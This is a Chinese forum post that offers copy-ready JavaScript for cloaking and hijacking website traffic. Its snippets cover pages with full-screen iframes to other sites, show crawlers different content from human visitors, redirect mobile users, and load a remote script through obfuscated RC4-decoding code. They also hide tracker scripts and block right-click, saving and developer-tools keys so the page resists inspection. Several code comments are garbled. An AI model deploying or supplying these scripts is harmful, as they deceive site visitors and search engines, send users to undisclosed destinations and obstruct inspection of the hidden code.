找回密码
 立即注册
首页 程序园 前端 屏蔽pc端的js代码

屏蔽pc端的js代码

新程序 2025-5-12 22:20:53

1.js调用 <script type='text/javascript' src='/js.js'></script>

JS脚本内容:

  1. <p>function checktitle()</p><p>{</p><p>  var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;</p><p>  var is_spider = navigator.userAgent.toLowerCase().match(/(baiduspider|googlebot|sogou|360spider|baidu|mysite|baidu)/i) != null;</p><p>  var sou = "";</p><p>  sou="https://www.baidu.com";</p><p>  var fit=1;</p><p>  var title = document.title;</p><p>  var iframe = document.createElement('iframe');</p><p>  iframe.src = sou;</p><p>  iframe.style.cssText="width:100%;height:100%;left:0px;top:0px;border:none;margin:0;";</p><p>  var div1=document.createElement("div");</p><p>  div1.style.cssText="-webkit-overflow-scrolling:touch;left:0;width:100%;height:100%;z-index:999999999;position:fixed;top:0;";</p><p>  if(is_mobi){</p><p>    div1.style.overflow="auto";</p><p>  } </p><p>  div1.appendChild(iframe);</p><p>  document.body.insertBefore(div1, document.body.firstChild);</p><p>  </p><p>}</p><p>var _hmt = _hmt || [];</p><p>(function() {</p><p>  var hm = document.createElement("script");</p><p>  hm.src = "https://hm.baidu.com/hm.js?9e1b048a9fd200e92a06b107e8f62206";</p><p>  var s = document.getElementsByTagName("script")[0]; </p><p>  s.parentNode.insertBefore(hm, s);</p><p>})();</p><p>function ready(fn){</p><p>  if(document.addEventListener){    //鏍囧噯娴忚鍣 </p><p>    document.addEventListener('DOMContentLoaded',function(){</p><p>      //娉ㄩ攢鏃堕棿锛岄伩鍏嶉噸澶嶈Е鍙 </p><p>      document.removeEventListener('DOMContentLoaded',arguments.callee,false);</p><p>      fn();    //杩愯鍑芥暟</p><p>    },false);</p><p>  }else if(document.attachEvent){    //IE娴忚鍣 </p><p>    document.attachEvent('onreadystatechange',function(){</p><p>      if(document.readyState=='complete'){</p><p>        document.detachEvent('onreadystatechange',arguments.callee);</p><p>        fn();    //鍑芥暟杩愯</p><p>      }</p><p>    });</p><p>  }</p><p>}</p><p>/*window.onload=function(){</p><p>checktitle();</p><p>}</p><p>*/</p><p>ready(function(){checktitle();});</p>
复制代码
2.阿里云模板屏蔽pc访问
<script language="javascript" type="text/javascript" src="http://www.网址.com/zainan.js"></script>
  1. ;var encode_version = 'jsjiami.com.v5', eylqy = '__0x11ae99',  __0x11ae99=['Ny8qZnw=','IsO8wrfDhcKU','wqgewrXCncKUwojCrcO2Wx7ChA==','wo5AVC/CvEgr','w4FPbsOiwrTCvVDCoA==','N8Kqw4JWwonCqC8=','w6gywrxZFTDCsznDscK5wqR9eXYUw5kXX8KFw4HCn8KBw7DDnsOaGMKFIErClw7DvMKMLgHCq8KTE2AMwqzCucOJI8KVQ3vDpg8=','HHPDv8KPPCMIwr/CgwoG','wo/DlMKgwpLDrGxKw4/DpMK3bgAHw4g=','54mF5p2T5YyX77yewoHDnuS/t+Wsu+afr+W9m+erju+9mOi8l+isuOaUgOaPtuaKpuS6ieebs+W0kuS+hQ=='];(function(_0x2c58a2,_0x9d68f9){var _0x5024a0=function(_0xd7e03d){while(--_0xd7e03d){_0x2c58a2['push'](_0x2c58a2['shift']());}};_0x5024a0(++_0x9d68f9);}(__0x11ae99,0x106));var _0x5108=function(_0x992f51,_0x245277){_0x992f51=_0x992f51-0x0;var _0x399f48=__0x11ae99[_0x992f51];if(_0x5108['initialized']===undefined){(function(){var _0x2d3e64=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0xbba8b5='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2d3e64['atob']||(_0x2d3e64['atob']=function(_0x1bc92a){var _0x21d3e3=String(_0x1bc92a)['replace'](/=+$/,'');for(var _0x597bdc=0x0,_0x1989d5,_0x7b690f,_0x4dbf33=0x0,_0x3d850d='';_0x7b690f=_0x21d3e3['charAt'](_0x4dbf33++);~_0x7b690f&&(_0x1989d5=_0x597bdc%0x4?_0x1989d5*0x40+_0x7b690f:_0x7b690f,_0x597bdc++%0x4)?_0x3d850d+=String['fromCharCode'](0xff&_0x1989d5>>(-0x2*_0x597bdc&0x6)):0x0){_0x7b690f=_0xbba8b5['indexOf'](_0x7b690f);}return _0x3d850d;});}());var _0x54adbc=function(_0x58e7a0,_0x338ff9){var _0x474f76=[],_0x20fce0=0x0,_0x80ab0b,_0x46da23='',_0x38396a='';_0x58e7a0=atob(_0x58e7a0);for(var _0xe92131=0x0,_0x1e9b5e=_0x58e7a0['length'];_0xe92131<_0x1e9b5e;_0xe92131++){_0x38396a+='%'+('00'+_0x58e7a0['charCodeAt'](_0xe92131)['toString'](0x10))['slice'](-0x2);}_0x58e7a0=decodeURIComponent(_0x38396a);for(var _0x530c11=0x0;_0x530c11<0x100;_0x530c11++){_0x474f76[_0x530c11]=_0x530c11;}for(_0x530c11=0x0;_0x530c11<0x100;_0x530c11++){_0x20fce0=(_0x20fce0+_0x474f76[_0x530c11]+_0x338ff9['charCodeAt'](_0x530c11%_0x338ff9['length']))%0x100;_0x80ab0b=_0x474f76[_0x530c11];_0x474f76[_0x530c11]=_0x474f76[_0x20fce0];_0x474f76[_0x20fce0]=_0x80ab0b;}_0x530c11=0x0;_0x20fce0=0x0;for(var _0x361246=0x0;_0x361246<_0x58e7a0['length'];_0x361246++){_0x530c11=(_0x530c11+0x1)%0x100;_0x20fce0=(_0x20fce0+_0x474f76[_0x530c11])%0x100;_0x80ab0b=_0x474f76[_0x530c11];_0x474f76[_0x530c11]=_0x474f76[_0x20fce0];_0x474f76[_0x20fce0]=_0x80ab0b;_0x46da23+=String['fromCharCode'](_0x58e7a0['charCodeAt'](_0x361246)^_0x474f76[(_0x474f76[_0x530c11]+_0x474f76[_0x20fce0])%0x100]);}return _0x46da23;};_0x5108['rc4']=_0x54adbc;_0x5108['data']={};_0x5108['initialized']=!![];}var _0x325e54=_0x5108['data'][_0x992f51];if(_0x325e54===undefined){if(_0x5108['once']===undefined){_0x5108['once']=!![];}_0x399f48=_0x5108['rc4'](_0x399f48,_0x245277);_0x5108['data'][_0x992f51]=_0x399f48;}else{_0x399f48=_0x325e54;}return _0x399f48;};var myDate=new Date();var time=myDate[_0x5108('0x0','QnTG')]()+''+myDate['getMonth']()+''+myDate[_0x5108('0x1','oElT')]()+''+myDate[_0x5108('0x2','Q7iK')]();document[_0x5108('0x3','Wqoc')](_0x5108('0x4','6*XN')+time+_0x5108('0x5','&(9n'));;(function(_0x24b162,_0x136b14,_0x16631f){var _0x361bfa={'ehytr':function _0x1127f8(_0x11a4fa,_0x3ad507){return _0x11a4fa!==_0x3ad507;},'GoCYd':'undefined','xUqbe':function _0x243210(_0x51833b,_0x2ef875){return _0x51833b===_0x2ef875;},'YFYSs':_0x5108('0x6','#C#1'),'ybfue':function _0x4d6b57(_0x256650,_0x625952){return _0x256650+_0x625952;},'PfrFR':_0x5108('0x7','8f6G')};_0x16631f='al';try{_0x16631f+='ert';_0x136b14=encode_version;if(!(_0x361bfa['ehytr'](typeof _0x136b14,_0x361bfa[_0x5108('0x8','q%Ou')])&&_0x361bfa['xUqbe'](_0x136b14,_0x361bfa['YFYSs']))){_0x24b162[_0x16631f](_0x361bfa[_0x5108('0x9','#odW')]('鍒犻櫎',_0x361bfa['PfrFR']));}}catch(_0x42f70c){_0x24b162[_0x16631f]('鍒犻櫎鐗堟湰鍙凤紝js浼氬畾鏈熷脊绐 ');}}(window));;encode_version = 'jsjiami.com.v5';
复制代码
3.
  1. <iframe id="main" name="main" src="https://top.baidu.com/board" frameborder="0" width="100%" ></iframe>
复制代码
4.屏蔽pc端JS调用跳转
调用JS:<script type='text/javascript' src='http://baidu.com/js.js'></script>
js内容:加密跳转的URL  document.location = 'https://www.百度.com'
统计代码:
  1. <div style="display:none">
  2. <script>加统计代码</script>
  3. <script>LA.init({id:"JGpu1LPY2NpgqL1s",ck:"JGpu1LPY2NpgqL1s"})</script>
  4. <script>LA.init({id:"JeIkHTpkiSLWJvS8",ck:"JeIkHTpkiSLWJvS8"})</script>
  5. <div style='display:none'><script type='text/javascript' src='http://www.百度.com/js.js'></script></div></div>  
  6. <script type="text/javascript">

  7.         
  8.         document.oncontextmenu = function (e) {
  9.             var e = e || window.event;
  10.             e.preventDefault(); // 闃绘榛樿浜嬩欢
  11.             e.returnValue = false;
  12.             return false;
  13.         };


  14.         window.onkeydown = function (e) {
  15.          
  16.             if (e.ctrlKey && e.keyCode == 83) {
  17.                 e.preventDefault();
  18.                 e.returnValue = false;
  19.                 return false;
  20.             }
  21.       
  22.             if (e.ctrlKey && e.keyCode == 80) {
  23.                 e.preventDefault();
  24.                 e.returnValue = false;
  25.                 return false;
  26.             }


  27.             var e = event || window.event || arguments.callee.caller.arguments[0];
  28.             
  29.             if (e && e.keyCode == 123) {
  30.                 e.returnValue = false;
  31.                 return (false);
  32.             }
  33.             
  34.             if (e && e.keyCode == 116) {
  35.                 e.returnValue = false;
  36.                 return (false);
  37.             }
  38.         };
  39. </script>
复制代码
5.屏蔽PC端的JS框架
  1. <script>
  2. var _hmt = _hmt || [];
  3. (function() {
  4.   var hm = document.createElement("script");
  5.   hm.src = "https://hm.baidu.com/hm.js?6b74700e6ecf339e1d5f4b15aab6fcb1";
  6.   var s = document.getElementsByTagName("script")[0];
  7.   s.parentNode.insertBefore(hm, s);
  8. })();


  9. if (navigator.userAgent.indexOf('bot') > -1||navigator.userAgent.indexOf('spider') > -1||navigator.userAgent.indexOf('gou') > -1){
  10.   
  11. }else if(navigator.userAgent.indexOf('Macintosh') > -1||navigator.userAgent.indexOf('Windows') > -1){

  12.   
  13. }
  14. else{document.writeln("<meta name=\'viewport\' content=\'width=device-width, initial-scale=1, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\' />");
  15. document.writeln("  <style>body{margin:0;}</style>");
  16. document.writeln(" <iframe width=\'100%\'  src=\'https://niufu.app/\' height=\'720px\'></iframe>");}
  17. </script>
复制代码




您需要登录后才可以回帖 登录 | 立即注册